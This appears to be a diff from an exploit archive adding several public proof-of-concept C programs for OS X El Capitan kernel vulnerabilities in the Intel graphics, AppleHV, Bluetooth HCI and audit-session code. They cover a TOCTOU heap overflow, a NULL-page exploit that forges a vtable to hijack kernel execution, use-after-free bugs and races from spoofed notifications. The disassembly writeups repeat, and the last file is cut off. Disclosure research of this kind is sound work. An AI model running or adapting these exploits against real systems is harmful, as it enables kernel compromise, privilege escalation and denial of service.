|
||||
__text:000000000002A39C xor eax, eax
|
||||
__text:000000000002A39E call _IOLog
|
||||
|
||||
|
||||
here we can see that the method is reading a dword at offset 0x800 of the input struct and comparing that value to 0x200.
|
||||
This method is reached via MIG and if we call userspace IOConnectCallMethod with a small input struct then the mach
|
||||
message is actually packed such that only the input struct size we send actually gets sent; therefore this is an OOB read.
|
||||
|
||||
The first interesting conseqeuence of this is that if the value read is > 0x200 then it gets logged to /var/log/system.log
|
||||
which we can read from userspace allowing us to disclose some kernel memory.
|
||||
|
||||
However, we can do more:
|
||||
|
||||
r15 is passed to IntelAccelerator::gstqConfigure:
|
||||
|
||||
mov rsi, r15
|
||||
call __ZN16IntelAccelerator13gstqConfigureEP19GstConfigurationRec
|
||||
|
||||
where we reach the following code:
|
||||
|
||||
__text:000000000001DC29 mov edx, [rsi+800h]
|
||||
__text:000000000001DC2F shl rdx, 2 ; size_t
|
||||
__text:000000000001DC33 lea rdi, _gstCustomCounterConfigPair ; void *
|
||||
__text:000000000001DC3A call _memcpy
|
||||
|
||||
here the value at +0x800 is read again and used as the size for a memcpy assuming that it has already been verified, but
|
||||
since it's outside the bounds of the allocation this is actually a toctou bug since with some heap manipulation we can
|
||||
change that value to be > 0x200 allowing us to overflow the _gstCustomCounterConfigPair buffer.
|
||||
|
||||
Since the struct input comes from a mach message this heap grooming shouldn't be that difficult.
|
||||
|
||||
clang -o ig_gl_gst_oob_read ig_gl_gst_oob_read.c -framework IOKit
|
||||
|
||||
repro: while true; ./ig_gl_gst_oob_read; done
|
||||
|
||||
Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2
|
||||
*/
|
||||
|
||||
// ianbeer
|
||||
/*
|
||||
Lack of bounds checking in gst_configure leads to kernel buffer overflow due to toctou (plus kernel memory disclosure)
|
||||
|
||||
The external method 0x206 of IGAccelGLContext is gst_configure. This method takes an arbitrary sized input structure
|
||||
(passed in rsi) but doesn't check the size of that structure (passed in rcx.)
|
||||
|
||||
__text:000000000002A366 __ZN16IGAccelGLContext13gst_configureEP19GstConfigurationRecS1_jPj proc near
|
||||
__text:000000000002A366 ; DATA XREF: __const:000000000005BF88o
|
||||
__text:000000000002A366 push rbp
|
||||
__text:000000000002A367 mov rbp, rsp
|
||||
__text:000000000002A36A push r15
|
||||
__text:000000000002A36C push r14
|
||||
__text:000000000002A36E push r12
|
||||
__text:000000000002A370 push rbx
|
||||
__text:000000000002A371 mov rax, rdx
|
||||
__text:000000000002A374 mov r15, rsi ; <-- r15 points to controlled mach message data
|
||||
__text:000000000002A377 mov r14, rdi
|
||||
__text:000000000002A37A mov edx, [r15+800h] ; <-- size never checked -> oob read
|
||||
__text:000000000002A381 cmp edx, 200h
|
||||
__text:000000000002A387 jbe short loc_2A3AD
|
||||
__text:000000000002A389 lea rdi, aIgaccelglcon_0 ; "IGAccelGLContext::%s Error: Number of e"...
|
||||
__text:000000000002A390 lea rsi, aGst_configure ; "gst_configure"
|
||||
__text:000000000002A397 mov ecx, 200h
|
||||
__text:000000000002A39C xor eax, eax
|
||||
__text:000000000002A39E call _IOLog
|
||||
|
||||
|
||||
here we can see that the method is reading a dword at offset 0x800 of the input struct and comparing that value to 0x200.
|
||||
This method is reached via MIG and if we call userspace IOConnectCallMethod with a small input struct then the mach
|
||||
message is actually packed such that only the input struct size we send actually gets sent; therefore this is an OOB read.
|
||||
|
||||
The first interesting conseqeuence of this is that if the value read is > 0x200 then it gets logged to /var/log/system.log
|
||||
which we can read from userspace allowing us to disclose some kernel memory.
|
||||
|
||||
However, we can do more:
|
||||
|
||||
r15 is passed to IntelAccelerator::gstqConfigure:
|
||||
|
||||
mov rsi, r15
|
||||
call __ZN16IntelAccelerator13gstqConfigureEP19GstConfigurationRec
|
||||
|
||||
where we reach the following code:
|
||||
|
||||
__text:000000000001DC29 mov edx, [rsi+800h]
|
||||
__text:000000000001DC2F shl rdx, 2 ; size_t
|
||||
__text:000000000001DC33 lea rdi, _gstCustomCounterConfigPair ; void *
|
||||
__text:000000000001DC3A call _memcpy
|
||||
|
||||
here the value at +0x800 is read again and used as the size for a memcpy assuming that it has already been verified, but
|
||||
since it's outside the bounds of the allocation this is actually a toctou bug since with some heap manipulation we can
|
||||
change that value to be > 0x200 allowing us to overflow the _gstCustomCounterConfigPair buffer.
|
||||
|
||||
Since the struct input comes from a mach message this heap grooming shouldn't be that difficult.
|
||||
|
||||
clang -o ig_gl_gst_oob_read ig_gl_gst_oob_read.c -framework IOKit
|
||||
|
||||
repro: while true; ./ig_gl_gst_oob_read; done
|
||||
|
||||
Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/vm_map.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
int main(int argc, char** argv){
|
||||
kern_return_t err;
|
||||
|
||||
CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
|
||||
if(!matching){
|
||||
printf("unable to create service matching dictionary\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
io_iterator_t iterator;
|
||||
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("no matches\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
io_service_t service = IOIteratorNext(iterator);
|
||||
|
||||
if (service == IO_OBJECT_NULL){
|
||||
printf("unable to find service\n");
|
||||
return 0;
|
||||
}
|
||||
printf("got service: %x\n", service);
|
||||
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
err = IOServiceOpen(service, mach_task_self(), 1, &conn); // type 1 == IGAccelGLContext
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("unable to get user client connection\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf("got userclient connection: %x\n", conn);
|
||||
|
||||
uint64_t inputScalar[16];
|
||||
uint64_t inputScalarCnt = 0;
|
||||
|
||||
char inputStruct[4096];
|
||||
size_t inputStructCnt = 0;
|
||||
|
||||
uint64_t outputScalar[16];
|
||||
uint32_t outputScalarCnt = 0;
|
||||
|
||||
char outputStruct[4096];
|
||||
size_t outputStructCnt = 0;
|
||||
|
||||
inputScalarCnt = 0;
|
||||
inputStructCnt = 0;
|
||||
|
||||
outputScalarCnt = 0;
|
||||
outputStructCnt = 0;
|
||||
|
||||
inputStructCnt = 0x30;
|
||||
|
||||
err = IOConnectCallMethod(
|
||||
conn,
|
||||
0x205, //gst_operation
|
||||
inputScalar,
|
||||
inputScalarCnt,
|
||||
inputStruct,
|
||||
inputStructCnt,
|
||||
outputScalar,
|
||||
&outputScalarCnt,
|
||||
outputStruct,
|
||||
&outputStructCnt);
|
||||
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("IOConnectCall error: %x\n", err);
|
||||
printf("that was an error in the first call, don't care!\n");
|
||||
}
|
||||
|
||||
|
||||
|
||||
inputStructCnt = 0x1;
|
||||
|
||||
err = IOConnectCallMethod(
|
||||
conn,
|
||||
0x206, //gst_configure
|
||||
inputScalar,
|
||||
inputScalarCnt,
|
||||
inputStruct,
|
||||
inputStructCnt,
|
||||
outputScalar,
|
||||
&outputScalarCnt,
|
||||
outputStruct,
|
||||
&outputStructCnt);
|
||||
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("IOConnectCall error: %x\n", err);
|
||||
return 0;
|
||||
}
|
||||
}
|
144
platforms/osx/dos/39369.c
Executable file
144
platforms/osx/dos/39369.c
Executable file
|
@ -0,0 +1,144 @@
|
|||
/*
|
||||
Source: https://code.google.com/p/google-security-research/issues/detail?id=595
|
||||
|
||||
The field at IntelAccelerator+0xe60 is a pointer to a GSTContextKernel allocated in the ::gstqCreateInfoMethod.
|
||||
|
||||
In the ::start method this field is initialized to NULL. The IGAccelDevice external method gst_configure (0x206)
|
||||
calls gstqConfigure which doesn't check whether the GSTContextKernel pointer is NULL, therefore by calling
|
||||
this external method before calling any others which allocate the GSTContextKernel we can cause a kernel
|
||||
NULL pointer dereference. The GSTContextKernel structure contains pointers, one of which eventually leads
|
||||
to control of a kernel virtual method call. This PoC will kernel panic calling 0xffff800041414141.
|
||||
|
||||
Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2
|
||||
*/
|
||||
|
||||
// ianbeer
|
||||
/*
|
||||
Exploitable kernel NULL dereference in IntelAccelerator::gstqConfigure
|
||||
|
||||
clang -o ig_gl_gst_null ig_gl_gst_null.c -framework IOKit -m32 -pagezero_size 0x0
|
||||
|
||||
The field at IntelAccelerator+0xe60 is a pointer to a GSTContextKernel allocated in the ::gstqCreateInfoMethod.
|
||||
|
||||
In the ::start method this field is initialized to NULL. The IGAccelDevice external method gst_configure (0x206)
|
||||
calls gstqConfigure which doesn't check whether the GSTContextKernel pointer is NULL, therefor by calling
|
||||
this external method before calling any others which allocate the GSTContextKernel we can cause a kernel
|
||||
NULL pointer dereference. The GSTContextKernel structure contains pointers, one of which eventually leads
|
||||
to control of a kernel virtual method call. This PoC will kernel panic calling 0xffff800041414141.
|
||||
|
||||
Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/vm_map.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
int main(int argc, char** argv){
|
||||
kern_return_t err;
|
||||
// re map the null page rw
|
||||
int var = 0;
|
||||
err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("%x\n", err);
|
||||
}
|
||||
vm_address_t addr = 0;
|
||||
err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
|
||||
if (err != KERN_SUCCESS){
|
||||
if (err == KERN_INVALID_ADDRESS){
|
||||
printf("invalid address\n");
|
||||
}
|
||||
if (err == KERN_NO_SPACE){
|
||||
printf("no space\n");
|
||||
}
|
||||
printf("%x\n", err);
|
||||
}
|
||||
char* np = 0;
|
||||
for (int i = 0; i < 0x1000; i++){
|
||||
np[i] = 'A';
|
||||
}
|
||||
|
||||
CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
|
||||
if(!matching){
|
||||
printf("unable to create service matching dictionary\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
io_iterator_t iterator;
|
||||
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("no matches\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
io_service_t service = IOIteratorNext(iterator);
|
||||
|
||||
if (service == IO_OBJECT_NULL){
|
||||
printf("unable to find service\n");
|
||||
return 0;
|
||||
}
|
||||
printf("got service: %x\n", service);
|
||||
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
err = IOServiceOpen(service, mach_task_self(), 1, &conn); // type 1 == IGAccelGLContext
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("unable to get user client connection\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf("got userclient connection: %x\n", conn);
|
||||
|
||||
|
||||
uint64_t* obj_ptr = malloc(0x1000);
|
||||
uint64_t* obj = malloc(0x1000);
|
||||
uint64_t* vtable = malloc(0x1000);
|
||||
uint64_t kernel_rip = 0xffff800041414141;
|
||||
|
||||
vtable[0x70/8] = kernel_rip;
|
||||
*obj = (uint64_t)vtable;
|
||||
|
||||
*obj_ptr = (uint64_t)obj;
|
||||
|
||||
*((uint64_t*)0x28) = (uint64_t)obj_ptr;
|
||||
|
||||
uint64_t inputScalar[16];
|
||||
uint64_t inputScalarCnt = 0;
|
||||
|
||||
char inputStruct[4096];
|
||||
size_t inputStructCnt = 0;
|
||||
|
||||
uint64_t outputScalar[16];
|
||||
uint32_t outputScalarCnt = 0;
|
||||
|
||||
char outputStruct[4096];
|
||||
size_t outputStructCnt = 0;
|
||||
|
||||
inputScalarCnt = 0;
|
||||
inputStructCnt = 0;
|
||||
|
||||
outputScalarCnt = 0;
|
||||
outputStructCnt = 0;
|
||||
|
||||
inputStructCnt = 0x1000;
|
||||
|
||||
err = IOConnectCallMethod(
|
||||
conn,
|
||||
0x206,
|
||||
inputScalar,
|
||||
inputScalarCnt,
|
||||
inputStruct,
|
||||
inputStructCnt,
|
||||
outputScalar,
|
||||
&outputScalarCnt,
|
||||
outputStruct,
|
||||
&outputStructCnt);
|
||||
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("IOConnectCall error: %x\n", err);
|
||||
return 0;
|
||||
}
|
||||
}
|
90
platforms/osx/dos/39370.c
Executable file
90
platforms/osx/dos/39370.c
Executable file
|
@ -0,0 +1,90 @@
|
|||
/*
|
||||
Source: https://code.google.com/p/google-security-research/issues/detail?id=580
|
||||
|
||||
The hv_space lock group gets an extra ref dropped when you kill a process with an AppleHV userclient;
|
||||
one via IOService::terminateWorker calling the AppleHVClient::free method (which calls lck_rw_free on the
|
||||
lock group using the pointer hanging off the global _hv variable) and secondly via the hypervisor
|
||||
machine_thread_destroy callback (hv_callback_thread_destroy) which also calls lck_rw_free with a lock group
|
||||
pointer taken from _hv.
|
||||
|
||||
tested on OS X 10.11 ElCapitan (15a284) on MacBookAir 5,2
|
||||
*/
|
||||
|
||||
//ianbeer
|
||||
|
||||
// boot-args: debug=0x144 -v pmuflags=1 kdp_match_name=en3 gzalloc_min=100 gzalloc_max=300 -zp -zc
|
||||
|
||||
/*
|
||||
OS X Kernel UaF in hypervisor driver
|
||||
|
||||
The hv_space lock group gets an extra ref dropped (uaf) when you kill a process with an AppleHV userclient;
|
||||
one via IOService::terminateWorker calling the AppleHVClient::free method (which calls lck_rw_free on the
|
||||
lock group using the pointer hanging off the global _hv variable) and secondly via the hypervisor
|
||||
machine_thread_destroy callback (hv_callback_thread_destroy) which also calls lck_rw_free with a lock group
|
||||
pointer taken from _hv.
|
||||
|
||||
tested on OS X 10.11 ElCapitan (15a284) on MacBookAir 5,2
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <signal.h>
|
||||
#include <unistd.h>
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
int go() {
|
||||
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleHV"));
|
||||
if (service == MACH_PORT_NULL) {
|
||||
printf("can't find service\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
while(1) {
|
||||
io_connect_t conn;
|
||||
IOServiceOpen(service, mach_task_self(), 0, &conn);
|
||||
if (conn == MACH_PORT_NULL) {
|
||||
printf("can't connect to service\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
uint64_t inputScalar[16];
|
||||
size_t inputScalarCnt = 0;
|
||||
|
||||
uint8_t inputStruct[4096];
|
||||
size_t inputStructCnt = 0;
|
||||
|
||||
uint64_t outputScalar[16] = {0};
|
||||
uint32_t outputScalarCnt = 16;
|
||||
|
||||
char outputStruct[4096] = {0};
|
||||
size_t outputStructCnt = 4096;
|
||||
|
||||
kern_return_t err = IOConnectCallMethod(
|
||||
conn,
|
||||
1,
|
||||
inputScalar,
|
||||
inputScalarCnt,
|
||||
inputStruct,
|
||||
inputStructCnt,
|
||||
outputScalar,
|
||||
&outputScalarCnt,
|
||||
outputStruct,
|
||||
&outputStructCnt);
|
||||
|
||||
IOServiceClose(conn);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
pid_t child = fork();
|
||||
if (child == 0) {
|
||||
go();
|
||||
} else {
|
||||
sleep(1);
|
||||
kill(child, 9);
|
||||
int sl;
|
||||
wait(&sl);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
111
platforms/osx/dos/39371.c
Executable file
111
platforms/osx/dos/39371.c
Executable file
|
@ -0,0 +1,111 @@
|
|||
/*
|
||||
Source: https://code.google.com/p/google-security-research/issues/detail?id=572
|
||||
|
||||
The OS* data types (OSArray etc) are explicity not thread safe; they rely on their callers to implement the required locking
|
||||
to serialize all accesses and manipulations of them. By sending two spoofed no-more-senders notifications on two threads at the
|
||||
same time we can cause parallel calls to OSArray::removeObject with no locks which is unsafe. In this particular case you might see two threads
|
||||
both passing the index >= count check in OSArray::removeObject (when count = 1 and index = 0) but then both decrementing count leading to an OSArray with
|
||||
a count of 0xffffffff leading to memory corruption when trying to shift the array contents.
|
||||
|
||||
repro: while true; do ./iospoof_bluepacketlog; done
|
||||
|
||||
Tested on OS X 10.11 ElCapitan (15A284) on MacBookAir 5,2
|
||||
*/
|
||||
|
||||
// ianbeer
|
||||
// clang -o iospoof_bluepacketlog iospoof_bluepacketlog.c -framework IOKit
|
||||
// boot-args debug=0x144 -v pmuflags=1 kdp_match_name=en3 gzalloc_min=100 gzalloc_max=300 -no-zp
|
||||
|
||||
/*
|
||||
Spoofed no-more-senders notifications with IOBluetoothHCIPacketLogUserClient leads to unsafe parallel OSArray manipulation
|
||||
|
||||
The OS* data types (OSArray etc) are explicity not thread safe; they rely on their callers to implement the required locking
|
||||
to serialize all accesses and manipulations of them. By sending two spoofed no-more-senders notifications on two threads at the
|
||||
same time we can cause parallel calls to OSArray::removeObject with no locks which is unsafe. In this particular case you might see two threads
|
||||
both passing the index >= count check in OSArray::removeObject (when count = 1 and index = 0) but then both decrementing count leading to an OSArray with
|
||||
a count of 0xffffffff leading to memory corruption when trying to shift the array contents.
|
||||
|
||||
repro: while true; do ./iospoof_bluepacketlog; done
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/thread_act.h>
|
||||
|
||||
#include <pthread.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
|
||||
int start = 0;
|
||||
|
||||
struct spoofed_notification {
|
||||
mach_msg_header_t header;
|
||||
NDR_record_t NDR;
|
||||
mach_msg_type_number_t no_senders_count;
|
||||
};
|
||||
|
||||
struct spoofed_notification msg = {0};
|
||||
|
||||
void send_message() {
|
||||
mach_msg(&msg,
|
||||
MACH_SEND_MSG,
|
||||
msg.header.msgh_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
}
|
||||
|
||||
void go(void* arg){
|
||||
|
||||
while(start == 0){;}
|
||||
|
||||
usleep(1);
|
||||
|
||||
send_message();
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
char* service_name = "IOBluetoothHCIController";
|
||||
int client_type = 1;
|
||||
|
||||
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
|
||||
if (service == MACH_PORT_NULL) {
|
||||
printf("can't find service\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
IOServiceOpen(service, mach_task_self(), client_type, &conn);
|
||||
if (conn == MACH_PORT_NULL) {
|
||||
printf("can't connect to service\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
pthread_t t;
|
||||
int arg = 0;
|
||||
pthread_create(&t, NULL, (void*) go, (void*) &arg);
|
||||
|
||||
// build the message:
|
||||
msg.header.msgh_size = sizeof(struct spoofed_notification);
|
||||
msg.header.msgh_local_port = conn;
|
||||
msg.header.msgh_remote_port = conn;
|
||||
msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
|
||||
msg.header.msgh_id = 0106;
|
||||
|
||||
msg.no_senders_count = 1000;
|
||||
|
||||
usleep(100000);
|
||||
|
||||
start = 1;
|
||||
|
||||
send_message();
|
||||
|
||||
pthread_join(t, NULL);
|
||||
|
||||
return 0;
|
||||
}
|
136
platforms/osx/dos/39372.c
Executable file
136
platforms/osx/dos/39372.c
Executable file
|
@ -0,0 +1,136 @@
|
|||
/*
|
||||
Source: https://code.google.com/p/google-security-research/issues/detail?id=569
|
||||
|
||||
IOBluetoothHCIUserClient uses an IOCommandGate to dispatch external methods; it passes a pointer to the structInput
|
||||
of the external method as arg0 and ::SimpleDispatchWL as the Action. It neither passes nor checks the size of that structInput,
|
||||
and SimpleDispatchWL goes on to read the field at +0x70 of the structInput:
|
||||
|
||||
__text:00000000000118EB mov esi, [rbx+70h] <-- rbx is structInput, size never checked so +0x70 can be OOB
|
||||
__text:00000000000118EE test esi, esi
|
||||
__text:00000000000118F0 mov r13d, 0E00002C7h
|
||||
__text:00000000000118F6 js loc_11C5B <-- fail if negative
|
||||
__text:00000000000118FC lea rdx, _sRoutineCount
|
||||
__text:0000000000011903 cmp esi, [rdx]
|
||||
__text:0000000000011905 jge loc_11C5B <-- fail if >= number of routines
|
||||
|
||||
This alone would be uninteresting, except that there is another fetch from rbx+0x70 which assumes the value hasn't changed:
|
||||
|
||||
__text:0000000000011995 movsxd rax, dword ptr [rbx+70h] <-- fetch OOB again
|
||||
__text:0000000000011999 mov rcx, rax
|
||||
__text:000000000001199C shl rcx, 4
|
||||
__text:00000000000119A0 lea rdx, _sRoutines
|
||||
__text:00000000000119A7 mov r14d, [rdx+rcx+8]
|
||||
__text:00000000000119AC cmp r14d, 7
|
||||
__text:00000000000119B0 mov r13d, 0E00002C2h
|
||||
__text:00000000000119B6 ja loc_11C5B <-- test that sRoutines[OOB].nParams is <= 7
|
||||
__text:00000000000119BC mov rcx, [rdx+rcx]
|
||||
__text:00000000000119C0 mov [rbp+var_40], rcx <-- save sRoutines[OOB].fptr into var_40
|
||||
|
||||
the code then sets the required registers/stack entries for the number of parameters and calls var_40:
|
||||
|
||||
__text:0000000000011B77 mov rdi, r15
|
||||
__text:0000000000011B7A call [rbp+var_40]
|
||||
|
||||
Therefore, by being able to change what follows the mach message corrisponding to this external method call in memory between the checks at +0x118eb
|
||||
and the second fetch at +0x11995 we can defeat the bounds check and get a function pointer read out of bounds and called.
|
||||
|
||||
Tested on OS X ElCapitan 10.11 (15A284) on MacBookAir 5,2
|
||||
|
||||
Strongly recommended to use the gazalloc boot args as shown above to repro this!
|
||||
*/
|
||||
|
||||
// ianbeer
|
||||
// build: clang -o bluehci_oob_demux bluehci_oob_demux.c -framework IOKit
|
||||
// boot-args: debug=0x144 -v pmuflags=1 kdp_match_name=en3 gzalloc_min=100 gzalloc_max=300
|
||||
|
||||
/*
|
||||
Lack of bounds checking in IOBluetoothHCIUserClient external method dispatching allows arbitrary kernel code execution
|
||||
|
||||
IOBluetoothHCIUserClient uses an IOCommandGate to dispatch external methods; it passes a pointer to the structInput
|
||||
of the external method as arg0 and ::SimpleDispatchWL as the Action. It neither passes nor checks the size of that structInput,
|
||||
and SimpleDispatchWL goes on to read the field at +0x70 of the structInput:
|
||||
|
||||
__text:00000000000118EB mov esi, [rbx+70h] <-- rbx is structInput, size never checked so +0x70 can be OOB
|
||||
__text:00000000000118EE test esi, esi
|
||||
__text:00000000000118F0 mov r13d, 0E00002C7h
|
||||
__text:00000000000118F6 js loc_11C5B <-- fail if negative
|
||||
__text:00000000000118FC lea rdx, _sRoutineCount
|
||||
__text:0000000000011903 cmp esi, [rdx]
|
||||
__text:0000000000011905 jge loc_11C5B <-- fail if >= number of routines
|
||||
|
||||
This alone would be uninteresting, except that there is another fetch from rbx+0x70 which assumes the value hasn't changed:
|
||||
|
||||
__text:0000000000011995 movsxd rax, dword ptr [rbx+70h] <-- fetch OOB again
|
||||
__text:0000000000011999 mov rcx, rax
|
||||
__text:000000000001199C shl rcx, 4
|
||||
__text:00000000000119A0 lea rdx, _sRoutines
|
||||
__text:00000000000119A7 mov r14d, [rdx+rcx+8]
|
||||
__text:00000000000119AC cmp r14d, 7
|
||||
__text:00000000000119B0 mov r13d, 0E00002C2h
|
||||
__text:00000000000119B6 ja loc_11C5B <-- test that sRoutines[OOB].nParams is <= 7
|
||||
__text:00000000000119BC mov rcx, [rdx+rcx]
|
||||
__text:00000000000119C0 mov [rbp+var_40], rcx <-- save sRoutines[OOB].fptr into var_40
|
||||
|
||||
the code then sets the required registers/stack entries for the number of parameters and calls var_40:
|
||||
|
||||
__text:0000000000011B77 mov rdi, r15
|
||||
__text:0000000000011B7A call [rbp+var_40]
|
||||
|
||||
Therefore, by being able to change what follows the mach message corrisponding to this external method call in memory between the checks at +0x118eb
|
||||
and the second fetch at +0x11995 we can defeat the bounds check and get a function pointer read out of bounds and called.
|
||||
|
||||
Tested on OS X ElCapitan 10.11 (15A284) on MacBookAir 5,2
|
||||
|
||||
Strongly recommended to use the gazalloc boot args as shown above to repro this!
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
int main(int argc, char** argv){
|
||||
kern_return_t err;
|
||||
|
||||
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController"));
|
||||
|
||||
if (service == IO_OBJECT_NULL){
|
||||
printf("unable to find service\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("unable to get user client connection\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
uint64_t inputScalar[16];
|
||||
uint64_t inputScalarCnt = 0;
|
||||
|
||||
char inputStruct[4096];
|
||||
size_t inputStructCnt = 1;
|
||||
memset(inputStruct, 'A', inputStructCnt);
|
||||
|
||||
uint64_t outputScalar[16];
|
||||
uint32_t outputScalarCnt = 0;
|
||||
|
||||
char outputStruct[4096];
|
||||
size_t outputStructCnt = 0;
|
||||
|
||||
err = IOConnectCallMethod(
|
||||
conn,
|
||||
21,
|
||||
inputScalar,
|
||||
inputScalarCnt,
|
||||
inputStruct,
|
||||
inputStructCnt,
|
||||
outputScalar,
|
||||
&outputScalarCnt,
|
||||
outputStruct,
|
||||
&outputStructCnt);
|
||||
|
||||
return 0;
|
||||
}
|
89
platforms/osx/dos/39373.c
Executable file
89
platforms/osx/dos/39373.c
Executable file
|
@ -0,0 +1,89 @@
|
|||
/*
|
||||
Source: https://code.google.com/p/google-security-research/issues/detail?id=567
|
||||
|
||||
Kernel UaF due to audit session port failing to correctly account for spoofed no-more-senders notifications
|
||||
|
||||
Tested on ElCapitan 10.11 (15a284) on MacBookAir 5,2
|
||||
*/
|
||||
|
||||
|
||||
// ianbeer
|
||||
|
||||
/*
|
||||
Kernel UaF due to audit session port failing to correctly account for spoofed no-more-senders notifications
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/thread_act.h>
|
||||
|
||||
#include <pthread.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
#include <bsm/audit.h>
|
||||
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
|
||||
int start = 0;
|
||||
|
||||
struct spoofed_notification {
|
||||
mach_msg_header_t header;
|
||||
NDR_record_t NDR;
|
||||
mach_msg_type_number_t no_senders_count;
|
||||
};
|
||||
|
||||
struct spoofed_notification msg = {0};
|
||||
|
||||
void send_message() {
|
||||
mach_msg(&msg,
|
||||
MACH_SEND_MSG,
|
||||
msg.header.msgh_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
}
|
||||
|
||||
void go(void* arg){
|
||||
|
||||
while(start == 0){;}
|
||||
|
||||
usleep(1);
|
||||
|
||||
send_message();
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
mach_port_t conn = audit_session_self();
|
||||
if (conn == MACH_PORT_NULL) {
|
||||
printf("can't get audit session port\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
pthread_t t;
|
||||
int arg = 0;
|
||||
pthread_create(&t, NULL, (void*) go, (void*) &arg);
|
||||
|
||||
// build the message:
|
||||
msg.header.msgh_size = sizeof(struct spoofed_notification);
|
||||
msg.header.msgh_local_port = conn;
|
||||
msg.header.msgh_remote_port = conn;
|
||||
msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
|
||||
msg.header.msgh_id = 0106;
|
||||
|
||||
msg.no_senders_count = 1000;
|
||||
|
||||
usleep(100000);
|
||||
|
||||
start = 1;
|
||||
|
||||
send_message();
|
||||
|
||||
pthread_join(t, NULL);
|
||||
|
||||
return 0;
|
||||
}
|
99
platforms/osx/dos/39374.c
Executable file
99
platforms/osx/dos/39374.c
Executable file
|
@ -0,0 +1,99 @@
|
|||
/*
|
||||
Source: https://code.google.com/p/google-security-research/issues/detail?id=566
|
||||
|
||||
Kernel UaF with IOAccelMemoryInfoUserClient with spoofed no more senders notifications
|
||||
|
||||
repro: while true; do ./iospoof_ig_7; done
|
||||
|
||||
Tested on ElCapitan 10.11 (15a284) on MacBookAir 5,2
|
||||
*/
|
||||
|
||||
// ianbeer
|
||||
// clang -o iospoof_ig_7 iospoof_ig_7.c -framework IOKit
|
||||
/*
|
||||
Kernel UaF with IOAccelMemoryInfoUserClient with spoofed no more senders notifications
|
||||
|
||||
repro: while true; do ./iospoof_ig_7; done
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/thread_act.h>
|
